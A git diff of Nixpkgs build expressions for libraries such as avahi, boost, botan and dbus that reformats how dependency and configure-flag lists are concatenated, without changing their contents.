index 973334d8f8e1..9436d6b30ad0 100644
--- a/pkgs/development/libraries/astal/buildAstalModule.nix
+++ b/pkgs/development/libraries/astal/buildAstalModule.nix
@@ -70,7 +70,8 @@ let
             "aarch64-linux"
             "x86_64-linux"
           ];
-        } // meta;
+        }
+        // meta;
       }
     );
 in
diff --git a/pkgs/development/libraries/avahi/default.nix b/pkgs/development/libraries/avahi/default.nix
index fb9437819e1b..7581e9651a62 100644
--- a/pkgs/development/libraries/avahi/default.nix
+++ b/pkgs/development/libraries/avahi/default.nix
@@ -147,24 +147,23 @@ stdenv.mkDerivation rec {
     autoreconfHook
   ];
 
-  buildInputs =
-    [
-      libdaemon
-      dbus
-      glib
-      expat
-      libiconv
-      libevent
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-      libpcap
-    ]
-    ++ lib.optionals gtk3Support [
-      gtk3
-    ]
-    ++ lib.optionals qt5Support [
-      qt5
-    ];
+  buildInputs = [
+    libdaemon
+    dbus
+    glib
+    expat
+    libiconv
+    libevent
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+    libpcap
+  ]
+  ++ lib.optionals gtk3Support [
+    gtk3
+  ]
+  ++ lib.optionals qt5Support [
+    qt5
+  ];
 
   propagatedBuildInputs = lib.optionals withPython (
     with python.pkgs;
@@ -175,29 +174,28 @@ stdenv.mkDerivation rec {
     ]
   );
 
-  configureFlags =
-    [
-      "--disable-gdbm"
-      "--disable-mono"
-      # Use non-deprecated path https://github.com/lathiat/avahi/pull/376
-      "--with-dbus-sys=${placeholder "out"}/share/dbus-1/system.d"
-      (lib.enableFeature gtk3Support "gtk3")
-      (lib.enableFeature qt5Support "qt5")
-      (lib.enableFeature withPython "python")
-      "--localstatedir=/var"
-      "--runstatedir=/run"
-      "--sysconfdir=/etc"
-      "--with-distro=${with stdenv.hostPlatform; if isBSD then parsed.kernel.name else "none"}"
-      # A systemd unit is provided by the avahi-daemon NixOS module
-      "--with-systemdsystemunitdir=no"
-    ]
-    ++ lib.optionals withLibdnssdCompat [
-      "--enable-compat-libdns_sd"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # autoipd won't build on darwin
-      "--disable-autoipd"
-    ];
+  configureFlags = [
+    "--disable-gdbm"
+    "--disable-mono"
+    # Use non-deprecated path https://github.com/lathiat/avahi/pull/376
+    "--with-dbus-sys=${placeholder "out"}/share/dbus-1/system.d"
+    (lib.enableFeature gtk3Support "gtk3")
+    (lib.enableFeature qt5Support "qt5")
+    (lib.enableFeature withPython "python")
+    "--localstatedir=/var"
+    "--runstatedir=/run"
+    "--sysconfdir=/etc"
+    "--with-distro=${with stdenv.hostPlatform; if isBSD then parsed.kernel.name else "none"}"
+    # A systemd unit is provided by the avahi-daemon NixOS module
+    "--with-systemdsystemunitdir=no"
+  ]
+  ++ lib.optionals withLibdnssdCompat [
+    "--enable-compat-libdns_sd"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # autoipd won't build on darwin
+    "--disable-autoipd"
+  ];
 
   installFlags = [
     # Override directories to install into the package.
diff --git a/pkgs/development/libraries/bashup-events/generic.nix b/pkgs/development/libraries/bashup-events/generic.nix
index 317a7fa9d5f3..694d5d196185 100644
--- a/pkgs/development/libraries/bashup-events/generic.nix
+++ b/pkgs/development/libraries/bashup-events/generic.nix
@@ -63,7 +63,8 @@ resholve.mkDerivation {
       interpreter = "none";
       scripts = [ "bin/bashup.events" ];
       inherit keep;
-    } // lib.optionalAttrs (lib.isAttrs fake) { inherit fake; };
+    }
+    // lib.optionalAttrs (lib.isAttrs fake) { inherit fake; };
   };
 
   inherit doInstallCheck;
diff --git a/pkgs/development/libraries/boost/generic.nix b/pkgs/development/libraries/boost/generic.nix
index 044070d64f6e..f94b1bff762e 100644
--- a/pkgs/development/libraries/boost/generic.nix
+++ b/pkgs/development/libraries/boost/generic.nix
@@ -346,34 +346,33 @@ stdenv.mkDerivation {
     which
     boost-build
     copyPkgconfigItems
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
-  buildInputs =
-    [
-      zlib
-      bzip2
-      libiconv
-    ]
-    ++ lib.optional (lib.versionAtLeast version "1.69") zstd
-    ++ [ xz ]
-    ++ lib.optional enableIcu icu
-    ++ lib.optionals enablePython [
-      libxcrypt
-      python
-    ]
-    ++ lib.optional enableNumpy python.pkgs.numpy;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  buildInputs = [
+    zlib
+    bzip2
+    libiconv
+  ]
+  ++ lib.optional (lib.versionAtLeast version "1.69") zstd
+  ++ [ xz ]
+  ++ lib.optional enableIcu icu
+  ++ lib.optionals enablePython [
+    libxcrypt
+    python
+  ]
+  ++ lib.optional enableNumpy python.pkgs.numpy;
 
   configureScript = "./bootstrap.sh";
   configurePlatforms = [ ];
   dontDisableStatic = true;
   dontAddStaticConfigureFlags = true;
-  configureFlags =
-    [
-      "--includedir=$(dev)/include"
-      "--libdir=$(out)/lib"
-      "--with-bjam=b2" # prevent bootstrapping b2 in configurePhase
-    ]
-    ++ lib.optional (toolset != null) "--with-toolset=${toolset}"
-    ++ [ (if enableIcu then "--with-icu=${icu.dev}" else "--without-icu") ];
+  configureFlags = [
+    "--includedir=$(dev)/include"
+    "--libdir=$(out)/lib"
+    "--with-bjam=b2" # prevent bootstrapping b2 in configurePhase
+  ]
+  ++ lib.optional (toolset != null) "--with-toolset=${toolset}"
+  ++ [ (if enableIcu then "--with-icu=${icu.dev}" else "--without-icu") ];
 
   buildPhase = ''
     runHook preBuild
@@ -394,15 +393,14 @@ stdenv.mkDerivation {
     runHook postInstall
   '';
 
-  postFixup =
-    ''
-      # Make boost header paths relative so that they are not runtime dependencies
-      cd "$dev" && find include \( -name '*.hpp' -or -name '*.h' -or -name '*.ipp' \) \
-        -exec sed '1s/^\xef\xbb\xbf//;1i#line 1 "{}"' -i '{}' \;
-    ''
-    + lib.optionalString stdenv.hostPlatform.isMinGW ''
-      $RANLIB "$out/lib/"*.a
-    '';
+  postFixup = ''
+    # Make boost header paths relative so that they are not runtime dependencies
+    cd "$dev" && find include \( -name '*.hpp' -or -name '*.h' -or -name '*.ipp' \) \
+      -exec sed '1s/^\xef\xbb\xbf//;1i#line 1 "{}"' -i '{}' \;
+  ''
+  + lib.optionalString stdenv.hostPlatform.isMinGW ''
+    $RANLIB "$out/lib/"*.a
+  '';
 
   outputs = [
     "out"
diff --git a/pkgs/development/libraries/botan/default.nix b/pkgs/development/libraries/botan/default.nix
index 60faf077e535..48211ea9aafe 100644
--- a/pkgs/development/libraries/botan/default.nix
+++ b/pkgs/development/libraries/botan/default.nix
@@ -59,20 +59,19 @@ let
         docutils
       ];
 
-      buildInputs =
-        [
-          bzip2
-          zlib
-        ]
-        ++ lib.optionals (stdenv.hostPlatform.isLinux && with_tpm2) [
-          tpm2-tss
-        ]
-        ++ lib.optionals (lib.versionAtLeast version "3.6.0") [
-          jitterentropy
-        ]
-        ++ lib.optionals (lib.versionAtLeast version "3.7.0" && with_esdm) [
-          esdm
-        ];
+      buildInputs = [
+        bzip2
+        zlib
+      ]
+      ++ lib.optionals (stdenv.hostPlatform.isLinux && with_tpm2) [
+        tpm2-tss
+      ]
+      ++ lib.optionals (lib.versionAtLeast version "3.6.0") [
+        jitterentropy
+      ]
+      ++ lib.optionals (lib.versionAtLeast version "3.7.0" && with_esdm) [
+        esdm
+      ];
 
       buildTargets =
         lib.optionals finalAttrs.finalPackage.doCheck [ "tests" ]
@@ -82,39 +81,38 @@ let
           "shared"
         ];
 
-      botanConfigureFlags =
-        [
-          "--prefix=${placeholder "out"}"
-          "--bindir=${placeholder "bin"}/bin"
-          "--docdir=${placeholder "doc"}/share/doc"
-          "--mandir=${placeholder "man"}/share/man"
-          "--no-install-python-module"
-          "--build-targets=${lib.concatStringsSep "," finalAttrs.buildTargets}"
-          "--with-bzip2"
-          "--with-zlib"
-          "--with-rst2man"
-          "--cpu=${stdenv.hostPlatform.parsed.cpu.name}"
-        ]
-        ++ lib.optionals stdenv.cc.isClang [
-          "--cc=clang"
-        ]
-        ++ lib.optionals (stdenv.hostPlatform.isLinux && with_tpm2) [
-          "--with-tpm2"
-        ]
-        ++ lib.optionals (lib.versionAtLeast version "3.6.0") [
-          "--enable-modules=jitter_rng"
-        ]
-        ++ lib.optionals (lib.versionAtLeast version "3.7.0" && with_esdm) [
-          "--enable-modules=esdm_rng"
-        ]
-        ++ lib.optionals (lib.versionAtLeast version "3.8.0" && with_bsi_policy) [
-          "--module-policy=bsi"
-          "--enable-module=ffi"
-          "--enable-module=shake"
-        ]
-        ++ lib.optionals (lib.versionAtLeast version "3.8.0" && with_fips140_policy) [
-          "--module-policy=fips140"
-        ];
+      botanConfigureFlags = [
+        "--prefix=${placeholder "out"}"
+        "--bindir=${placeholder "bin"}/bin"
+        "--docdir=${placeholder "doc"}/share/doc"
+        "--mandir=${placeholder "man"}/share/man"
+        "--no-install-python-module"
+        "--build-targets=${lib.concatStringsSep "," finalAttrs.buildTargets}"
+        "--with-bzip2"
+        "--with-zlib"
+        "--with-rst2man"
+        "--cpu=${stdenv.hostPlatform.parsed.cpu.name}"
+      ]
+      ++ lib.optionals stdenv.cc.isClang [
+        "--cc=clang"
+      ]
+      ++ lib.optionals (stdenv.hostPlatform.isLinux && with_tpm2) [
+        "--with-tpm2"
+      ]
+      ++ lib.optionals (lib.versionAtLeast version "3.6.0") [
+        "--enable-modules=jitter_rng"
+      ]
+      ++ lib.optionals (lib.versionAtLeast version "3.7.0" && with_esdm) [
+        "--enable-modules=esdm_rng"
+      ]
+      ++ lib.optionals (lib.versionAtLeast version "3.8.0" && with_bsi_policy) [
+        "--module-policy=bsi"
+        "--enable-module=ffi"
+        "--enable-module=shake"
+      ]
+      ++ lib.optionals (lib.versionAtLeast version "3.8.0" && with_fips140_policy) [
+        "--module-policy=fips140"
+      ];
 
       configurePhase = ''
         runHook preConfigure
diff --git a/pkgs/development/libraries/bullet/default.nix b/pkgs/development/libraries/bullet/default.nix
index 59a03c86bba0..287716871294 100644
--- a/pkgs/development/libraries/bullet/default.nix
+++ b/pkgs/development/libraries/bullet/default.nix
@@ -31,17 +31,16 @@ stdenv.mkDerivation rec {
       --replace "-DGLEW_STATIC" "-DGLEW_STATIC -Wno-narrowing"
   '';
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=ON"
-      "-DBUILD_CPU_DEMOS=OFF"
-      "-DINSTALL_EXTRA_LIBS=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DBUILD_BULLET2_DEMOS=OFF"
-      "-DBUILD_UNIT_TESTS=OFF"
-      "-DBUILD_BULLET_ROBOTICS_GUI_EXTRA=OFF"
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=ON"
+    "-DBUILD_CPU_DEMOS=OFF"
+    "-DINSTALL_EXTRA_LIBS=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DBUILD_BULLET2_DEMOS=OFF"
+    "-DBUILD_UNIT_TESTS=OFF"
+    "-DBUILD_BULLET_ROBOTICS_GUI_EXTRA=OFF"
+  ];
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-error=argument-outside-range -Wno-error=c++11-narrowing";
 
diff --git a/pkgs/development/libraries/bullet/roboschool-fork.nix b/pkgs/development/libraries/bullet/roboschool-fork.nix
index 53b296aa82f0..80492e9f54ac 100644
--- a/pkgs/development/libraries/bullet/roboschool-fork.nix
+++ b/pkgs/development/libraries/bullet/roboschool-fork.nix
@@ -32,16 +32,15 @@ stdenv.mkDerivation {
 
   patches = [ ./gwen-narrowing.patch ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=ON"
-      "-DBUILD_CPU_DEMOS=OFF"
-      "-DINSTALL_EXTRA_LIBS=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DBUILD_BULLET2_DEMOS=OFF"
-      "-DBUILD_UNIT_TESTS=OFF"
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=ON"
+    "-DBUILD_CPU_DEMOS=OFF"
+    "-DINSTALL_EXTRA_LIBS=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DBUILD_BULLET2_DEMOS=OFF"
+    "-DBUILD_UNIT_TESTS=OFF"
+  ];
 
   meta = with lib; {
     description = "Professional free 3D Game Multiphysics Library";
diff --git a/pkgs/development/libraries/capstone/4.nix b/pkgs/development/libraries/capstone/4.nix
index d16356dc274d..a6e0b2a6a738 100644
--- a/pkgs/development/libraries/capstone/4.nix
+++ b/pkgs/development/libraries/capstone/4.nix
@@ -17,13 +17,12 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-XMwQ7UaPC8YYu4yxsE4bbR3leYPfBHu5iixSLz05r3g=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/development/libraries/capstone/default.nix b/pkgs/development/libraries/capstone/default.nix
index df84133c6e5c..5fd139afecce 100644
--- a/pkgs/development/libraries/capstone/default.nix
+++ b/pkgs/development/libraries/capstone/default.nix
@@ -17,19 +17,17 @@ stdenv.mkDerivation rec {
     hash = "sha256-ovIvsxVq+/q5UUMzP4WpxzaE0898uayNc1g2Coignnc=";
   };
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_SHARED_LIBS" true)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ (lib.cmakeBool "CAPSTONE_BUILD_MACOS_THIN" true) ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_SHARED_LIBS" true)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ (lib.cmakeBool "CAPSTONE_BUILD_MACOS_THIN" true) ];
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/development/libraries/catch2/3.nix b/pkgs/development/libraries/catch2/3.nix
index 750bc12a29cb..5ba4113754d2 100644
--- a/pkgs/development/libraries/catch2/3.nix
+++ b/pkgs/development/libraries/catch2/3.nix
@@ -23,17 +23,16 @@ stdenv.mkDerivation rec {
 
   hardeningDisable = [ "trivialautovarinit" ];
 
-  cmakeFlags =
-    [
-      "-DCATCH_DEVELOPMENT_BUILD=ON"
-      "-DCATCH_BUILD_TESTING=${if doCheck then "ON" else "OFF"}"
-      "-DCATCH_ENABLE_WERROR=OFF"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && doCheck) [
-      # test has a faulty path normalization technique that won't work in
-      # our darwin build environment https://github.com/catchorg/Catch2/issues/1691
-      "-DCMAKE_CTEST_ARGUMENTS=-E;ApprovalTests"
-    ];
+  cmakeFlags = [
+    "-DCATCH_DEVELOPMENT_BUILD=ON"
+    "-DCATCH_BUILD_TESTING=${if doCheck then "ON" else "OFF"}"
+    "-DCATCH_ENABLE_WERROR=OFF"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && doCheck) [
+    # test has a faulty path normalization technique that won't work in
+    # our darwin build environment https://github.com/catchorg/Catch2/issues/1691
+    "-DCMAKE_CTEST_ARGUMENTS=-E;ApprovalTests"
+  ];
 
   env =
     lib.optionalAttrs stdenv.hostPlatform.isx86_32 {
diff --git a/pkgs/development/libraries/ceres-solver/default.nix b/pkgs/development/libraries/ceres-solver/default.nix
index 4917724278c3..b39c804e2ee2 100644
--- a/pkgs/development/libraries/ceres-solver/default.nix
+++ b/pkgs/development/libraries/ceres-solver/default.nix
@@ -33,16 +33,15 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ cmake ];
   buildInputs = lib.optional runTests gflags;
-  propagatedBuildInputs =
-    [
-      eigen
-      glog
-    ]
-    ++ lib.optionals withBlas [
-      blas
-      suitesparse
-      metis
-    ];
+  propagatedBuildInputs = [
+    eigen
+    glog
+  ]
+  ++ lib.optionals withBlas [
+    blas
+    suitesparse
+    metis
+  ];
 
   cmakeFlags = [
     "-DBUILD_SHARED_LIBS=${if enableStatic then "OFF" else "ON"}"
diff --git a/pkgs/development/libraries/clucene-core/2.x.nix b/pkgs/development/libraries/clucene-core/2.x.nix
index f24d0f36400a..5d4a7afdc565 100644
--- a/pkgs/development/libraries/clucene-core/2.x.nix
+++ b/pkgs/development/libraries/clucene-core/2.x.nix
@@ -24,46 +24,44 @@ stdenv.mkDerivation rec {
     zlib
   ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_CONTRIBS=ON"
-      "-DBUILD_CONTRIBS_LIB=ON"
-      "-DCMAKE_BUILD_WITH_INSTALL_NAME_DIR=ON"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "-D_CL_HAVE_GCC_ATOMIC_FUNCTIONS=0"
-      "-D_CL_HAVE_NAMESPACES_EXITCODE=0"
-      "-D_CL_HAVE_NAMESPACES_EXITCODE__TRYRUN_OUTPUT="
-      "-D_CL_HAVE_NO_SNPRINTF_BUG_EXITCODE=0"
-      "-D_CL_HAVE_NO_SNPRINTF_BUG_EXITCODE__TRYRUN_OUTPUT="
-      "-D_CL_HAVE_TRY_BLOCKS_EXITCODE=0"
-      "-D_CL_HAVE_TRY_BLOCKS_EXITCODE__TRYRUN_OUTPUT="
-      "-D_CL_HAVE_PTHREAD_MUTEX_RECURSIVE=0"
-      "-DLUCENE_STATIC_CONSTANT_SYNTAX_EXITCODE=0"
-      "-DLUCENE_STATIC_CONSTANT_SYNTAX_EXITCODE__TRYRUN_OUTPUT="
-    ];
+  cmakeFlags = [
+    "-DBUILD_CONTRIBS=ON"
+    "-DBUILD_CONTRIBS_LIB=ON"
+    "-DCMAKE_BUILD_WITH_INSTALL_NAME_DIR=ON"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "-D_CL_HAVE_GCC_ATOMIC_FUNCTIONS=0"
+    "-D_CL_HAVE_NAMESPACES_EXITCODE=0"
+    "-D_CL_HAVE_NAMESPACES_EXITCODE__TRYRUN_OUTPUT="
+    "-D_CL_HAVE_NO_SNPRINTF_BUG_EXITCODE=0"
+    "-D_CL_HAVE_NO_SNPRINTF_BUG_EXITCODE__TRYRUN_OUTPUT="
+    "-D_CL_HAVE_TRY_BLOCKS_EXITCODE=0"
+    "-D_CL_HAVE_TRY_BLOCKS_EXITCODE__TRYRUN_OUTPUT="
+    "-D_CL_HAVE_PTHREAD_MUTEX_RECURSIVE=0"
+    "-DLUCENE_STATIC_CONSTANT_SYNTAX_EXITCODE=0"
+    "-DLUCENE_STATIC_CONSTANT_SYNTAX_EXITCODE__TRYRUN_OUTPUT="
+  ];
 
-  patches =
-    [
-      # From debian
-      ./Fix-pkgconfig-file-by-adding-clucene-shared-library.patch
-      ./Fixing_ZLIB_configuration_in_shared_CMakeLists.patch
-      ./Install-contribs-lib.patch
-      # From arch
-      ./fix-missing-include-time.patch
+  patches = [
+    # From debian
+    ./Fix-pkgconfig-file-by-adding-clucene-shared-library.patch
+    ./Fixing_ZLIB_configuration_in_shared_CMakeLists.patch
+    ./Install-contribs-lib.patch
+    # From arch
+    ./fix-missing-include-time.patch
 
-      # required for darwin and linux-musl
-      ./pthread-include.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      ./fix-darwin.patch
+    # required for darwin and linux-musl
+    ./pthread-include.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    ./fix-darwin.patch
 
-      # see https://bugs.gentoo.org/869170
-      (fetchpatch {
-        url = "https://869170.bugs.gentoo.org/attachment.cgi?id=858825";
-        hash = "sha256-TbAfBKdXh+1HepZc8J6OhK1XGwhwBCMvO8QBDsad998=";
-      })
-    ];
+    # see https://bugs.gentoo.org/869170
+    (fetchpatch {
+      url = "https://869170.bugs.gentoo.org/attachment.cgi?id=858825";
+      hash = "sha256-TbAfBKdXh+1HepZc8J6OhK1XGwhwBCMvO8QBDsad998=";
+    })
+  ];
 
   # see https://github.com/macports/macports-ports/commit/236d43f2450c6be52dc42fd3a2bbabbaa5136201
   postPatch = lib.optionalString stdenv.hostPlatform.isDarwin ''
diff --git a/pkgs/development/libraries/ctranslate2/default.nix b/pkgs/development/libraries/ctranslate2/default.nix
index 2850a1890eb5..93d8c1321c54 100644
--- a/pkgs/development/libraries/ctranslate2/default.nix
+++ b/pkgs/development/libraries/ctranslate2/default.nix
@@ -37,13 +37,12 @@ stdenv.mkDerivation rec {
     fetchSubmodules = true;
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals withCUDA [
-      cudaPackages.cuda_nvcc
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals withCUDA [
+    cudaPackages.cuda_nvcc
+  ];
 
   cmakeFlags = [
     # https://opennmt.net/CTranslate2/installation.html#build-options
@@ -56,7 +55,8 @@ stdenv.mkDerivation rec {
     "-DWITH_OPENBLAS=${cmakeBool withOpenblas}"
     "-DWITH_RUY=${cmakeBool withRuy}"
     "-DWITH_MKL=${cmakeBool withMkl}"
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "-DWITH_ACCELERATE=ON";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "-DWITH_ACCELERATE=ON";
 
   buildInputs =
     lib.optionals withMkl [
diff --git a/pkgs/development/libraries/db/generic.nix b/pkgs/development/libraries/db/generic.nix
index cc91c7e36049..10b19c99b390 100644
--- a/pkgs/development/libraries/db/generic.nix
+++ b/pkgs/development/libraries/db/generic.nix
@@ -75,13 +75,12 @@ stdenv.mkDerivation (
       popd
     '';
 
-    configureFlags =
-      [
-        (if cxxSupport then "--enable-cxx" else "--disable-cxx")
-        (if compat185 then "--enable-compat185" else "--disable-compat185")
-      ]
-      ++ lib.optional dbmSupport "--enable-dbm"
-      ++ lib.optional stdenv.hostPlatform.isFreeBSD "--with-pic";
+    configureFlags = [
+      (if cxxSupport then "--enable-cxx" else "--disable-cxx")
+      (if compat185 then "--enable-compat185" else "--disable-compat185")
+    ]
+    ++ lib.optional dbmSupport "--enable-dbm"
+    ++ lib.optional stdenv.hostPlatform.isFreeBSD "--with-pic";
 
     preConfigure = ''
       cd build_unix
diff --git a/pkgs/development/libraries/dbus/default.nix b/pkgs/development/libraries/dbus/default.nix
index b4e647d9e869..b92b0e98b0b2 100644
--- a/pkgs/development/libraries/dbus/default.nix
+++ b/pkgs/development/libraries/dbus/default.nix
@@ -29,22 +29,21 @@ stdenv.mkDerivation rec {
 
   patches = lib.optional stdenv.hostPlatform.isSunOS ./implement-getgrouplist.patch;
 
-  postPatch =
-    ''
-      substituteInPlace bus/Makefile.am \
-        --replace 'install-data-hook:' 'disabled:' \
-        --replace '$(mkinstalldirs) $(DESTDIR)$(localstatedir)/run/dbus' ':'
-      substituteInPlace tools/Makefile.am \
-        --replace 'install-data-local:' 'disabled:' \
-        --replace 'installcheck-local:' 'disabled:'
-    ''
-    # cleanup of runtime references
-    + ''
-      substituteInPlace ./dbus/dbus-sysdeps-unix.c \
-        --replace 'DBUS_BINDIR "/dbus-launch"' "\"$lib/bin/dbus-launch\""
-      substituteInPlace ./tools/dbus-launch.c \
-        --replace 'DBUS_DAEMONDIR"/dbus-daemon"' '"/run/current-system/sw/bin/dbus-daemon"'
-    '';
+  postPatch = ''
+    substituteInPlace bus/Makefile.am \
+      --replace 'install-data-hook:' 'disabled:' \
+      --replace '$(mkinstalldirs) $(DESTDIR)$(localstatedir)/run/dbus' ':'
+    substituteInPlace tools/Makefile.am \
+      --replace 'install-data-local:' 'disabled:' \
+      --replace 'installcheck-local:' 'disabled:'
+  ''
+  # cleanup of runtime references
+  + ''
+    substituteInPlace ./dbus/dbus-sysdeps-unix.c \
+      --replace 'DBUS_BINDIR "/dbus-launch"' "\"$lib/bin/dbus-launch\""
+    substituteInPlace ./tools/dbus-launch.c \
+      --replace 'DBUS_DAEMONDIR"/dbus-daemon"' '"/run/current-system/sw/bin/dbus-daemon"'
+  '';
 
   outputs = [
     "out"
@@ -87,27 +86,26 @@ stdenv.mkDerivation rec {
 
   __darwinAllowLocalNetworking = true;
 
-  configureFlags =
-    [
-      "--enable-user-session"
-      "--enable-xml-docs"
-      "--libexecdir=${placeholder "out"}/libexec"
-      "--datadir=/etc"
-      "--localstatedir=/var"
-      "--runstatedir=/run"
-      "--sysconfdir=/etc"
-      "--with-session-socket-dir=/tmp"
-      "--with-system-pid-file=/run/dbus/pid"
-      "--with-system-socket=/run/dbus/system_bus_socket"
-      "--with-systemdsystemunitdir=${placeholder "out"}/etc/systemd/system"
-      "--with-systemduserunitdir=${placeholder "out"}/etc/systemd/user"
-    ]
-    ++ lib.optional (!x11Support) "--without-x"
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--enable-apparmor"
-      "--enable-libaudit"
-    ]
-    ++ lib.optionals enableSystemd [ "SYSTEMCTL=${systemdMinimal}/bin/systemctl" ];
+  configureFlags = [
+    "--enable-user-session"
+    "--enable-xml-docs"
+    "--libexecdir=${placeholder "out"}/libexec"
+    "--datadir=/etc"
+    "--localstatedir=/var"
+    "--runstatedir=/run"
+    "--sysconfdir=/etc"
+    "--with-session-socket-dir=/tmp"
+    "--with-system-pid-file=/run/dbus/pid"
+    "--with-system-socket=/run/dbus/system_bus_socket"
+    "--with-systemdsystemunitdir=${placeholder "out"}/etc/systemd/system"
+    "--with-systemduserunitdir=${placeholder "out"}/etc/systemd/user"
+  ]
+  ++ lib.optional (!x11Support) "--without-x"
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--enable-apparmor"
+    "--enable-libaudit"
+  ]
+  ++ lib.optionals enableSystemd [ "SYSTEMCTL=${systemdMinimal}/bin/systemctl" ];
 
   NIX_CFLAGS_LINK = lib.optionalString (!stdenv.hostPlatform.isDarwin) "-Wl,--as-needed";
 
diff --git a/pkgs/development/libraries/draco/default.nix b/pkgs/development/libraries/draco/default.nix
index daf0116b06e2..31c514b0ac61 100644
--- a/pkgs/development/libraries/draco/default.nix
+++ b/pkgs/development/libraries/draco/default.nix
@@ -34,31 +34,31 @@ stdenv.mkDerivation (finalAttrs: {
       --replace "^Clang" "^AppleClang"
   '';
 
-  buildInputs =
-    [ gtest ]
-    ++ lib.optionals withTranscoder [
-      eigen
-      ghc_filesystem
-      tinygltf
-    ];
+  buildInputs = [
+    gtest
+  ]
+  ++ lib.optionals withTranscoder [
+    eigen
+    ghc_filesystem
+    tinygltf
+  ];
 
   nativeBuildInputs = [
     cmake
     python3
   ];
 
-  cmakeFlags =
-    [
-      "-DDRACO_ANIMATION_ENCODING=${cmakeBool withAnimation}"
-      "-DDRACO_GOOGLETEST_PATH=${gtest}"
-      "-DBUILD_SHARED_LIBS=${cmakeBool true}"
-      "-DDRACO_TRANSCODER_SUPPORTED=${cmakeBool withTranscoder}"
-    ]
-    ++ lib.optionals withTranscoder [
-      "-DDRACO_EIGEN_PATH=${eigen}/include/eigen3"
-      "-DDRACO_FILESYSTEM_PATH=${ghc_filesystem}"
-      "-DDRACO_TINYGLTF_PATH=${tinygltf}"
-    ];
+  cmakeFlags = [
+    "-DDRACO_ANIMATION_ENCODING=${cmakeBool withAnimation}"
+    "-DDRACO_GOOGLETEST_PATH=${gtest}"
+    "-DBUILD_SHARED_LIBS=${cmakeBool true}"
+    "-DDRACO_TRANSCODER_SUPPORTED=${cmakeBool withTranscoder}"
+  ]
+  ++ lib.optionals withTranscoder [
+    "-DDRACO_EIGEN_PATH=${eigen}/include/eigen3"
+    "-DDRACO_FILESYSTEM_PATH=${ghc_filesystem}"
+    "-DDRACO_TINYGLTF_PATH=${tinygltf}"
+  ];
 
   CXXFLAGS = [
     # error: expected ')' before 'value' in 'explicit GltfValue(uint8_t value)'
diff --git a/pkgs/development/libraries/drumstick/default.nix b/pkgs/development/libraries/drumstick/default.nix
index bb23d1210404..3f8821ce4251 100644
--- a/pkgs/development/libraries/drumstick/default.nix
+++ b/pkgs/development/libraries/drumstick/default.nix
@@ -64,7 +64,8 @@ stdenv.mkDerivation rec {
     qtsvg
     qtwayland
     sonivox
-  ] ++ lib.optionals isQt6 [ qt5compat ];
+  ]
+  ++ lib.optionals isQt6 [ qt5compat ];
 
   cmakeFlags = [
     (lib.cmakeBool "USE_DBUS" true)
diff --git a/pkgs/development/libraries/embree/default.nix b/pkgs/development/libraries/embree/default.nix
index 9e673522fd43..140a0d82e4bc 100644
--- a/pkgs/development/libraries/embree/default.nix
+++ b/pkgs/development/libraries/embree/default.nix
@@ -55,7 +55,8 @@ stdenv.mkDerivation (finalAttrs: {
     libpng
     libX11
     libpthreadstubs
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ glib ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ glib ];
 
   meta = {
     description = "High performance ray tracing kernels from Intel";
diff --git a/pkgs/development/libraries/enchant/2.x.nix b/pkgs/development/libraries/enchant/2.x.nix
index 82ec5ee5e926..a4b6497b68dc 100644
--- a/pkgs/development/libraries/enchant/2.x.nix
+++ b/pkgs/development/libraries/enchant/2.x.nix
